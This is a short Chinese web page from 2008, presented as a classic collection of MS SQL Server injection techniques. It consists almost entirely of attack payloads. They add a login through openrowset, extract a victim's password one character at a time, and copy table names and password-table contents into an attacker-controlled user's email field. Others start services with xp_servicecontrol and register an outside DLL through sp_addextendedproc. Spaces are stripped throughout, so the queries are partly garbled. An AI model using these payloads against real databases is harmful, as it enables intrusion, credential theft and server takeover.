非常经典的Ms Sql注射资料
2008-10-04 11:10:32 来源:WEB开发网select*fromopenrowset('sqloledb','server';'sa';'','select''OK!''execmaster.dbo.sp_addloginhax')
传统查询构造:
select*FROMnewswhereid=...ANDtopic=...AND.....
说明:
admin'and1=(selectcount(*)from[user]whereusername='victim'andright(left(userpass,01),1)='1')anduserpass<>'
select123;--
;usemaster;--
:a'ornamelike'fff%';--显示有一个叫ffff的用户哈。
'and1<>(selectcount(email)from[user]);--
;update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andstatus>0)wherename='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update[users]setemail=(selecttop1idfromsysobjectswherextype='u'andname='ad')wherename='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andid>581577110)wherename='ffff';--
扩展存储就可以通过一般的方法调用:
ffff';update[users]setemail=(selecttop1count(id)frompassword)wherename='ffff';--
ffff';update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename='ffff';--
ffff';update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename='ffff';--
execmaster..xp_servicecontrol'start','schedule'
execmaster..xp_servicecontrol'start','server'
sp_addextendedproc'xp_webserver','c:tempxp_foo.dll'
更多精彩
赞助商链接